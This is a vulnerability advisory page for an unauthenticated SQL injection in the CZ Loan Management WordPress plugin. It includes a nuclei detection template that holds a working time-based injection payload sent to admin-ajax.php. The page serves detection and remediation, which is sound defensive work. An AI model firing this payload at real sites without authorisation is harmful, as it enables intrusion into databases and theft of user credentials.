CZ Loan Management <= 1.1 - SQL Injection

criticalseverity

9.1CVSS score

2%likelihood of exploitation, next 30 days

81%of all CVEs are less likely

Readycheck to confirm it

The CZ Loan Management WordPress plugin through 1.1 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.

Impact

Unauthenticated attackers can execute time-based SQL injection to extract sensitive database information including user credentials and loan management data.

Fix

Update CZ Loan Management plugin to version 1.2 or later to address the SQL injection vulnerability.

How to confirm it

Send: GET /wp-content/plugins/cz-loan-management/README.txt
Positive when: contains(body,"CZ Loan Management") and status_code == 200
Send: @timeout 20s
Positive when: duration>=6 and contains(content_type,"text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-5975 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-5975

info:
  name: CZ Loan Management <= 1.1 - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    The CZ Loan Management WordPress plugin through 1.1 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
  impact: |
    Unauthenticated attackers can execute time-based SQL injection to extract sensitive database information including user credentials and loan management data.
  remediation: |
    Update CZ Loan Management plugin to version 1.2 or later to address the SQL injection vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5975
    - https://wpscan.com/vulnerability/68f81943-b007-49c8-be9c-d0405b2ba4cf/
    - https://vuldb.com/?id.272929
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-5975
    epss-score: 0.01958
    epss-percentile: 0.80461
  metadata:
    vendor: team-contriverz
    product: cz-loan-management
    framework: wordpress
    publicwww-query: "/wp-content/plugins/cz-loan-management"
  tags: time-based-sqli,cve,cve2024,wpscan,wp-plugin,wordpress,wp,cz-loan-management,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/cz-loan-management/README.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"CZ Loan Management")'
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        @timeout 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=cz_plugin_for_user_get_percentage&selectedperiod=(select*from(select(sleep(6)))a)

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - 'contains(content_type,"text/html")'
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from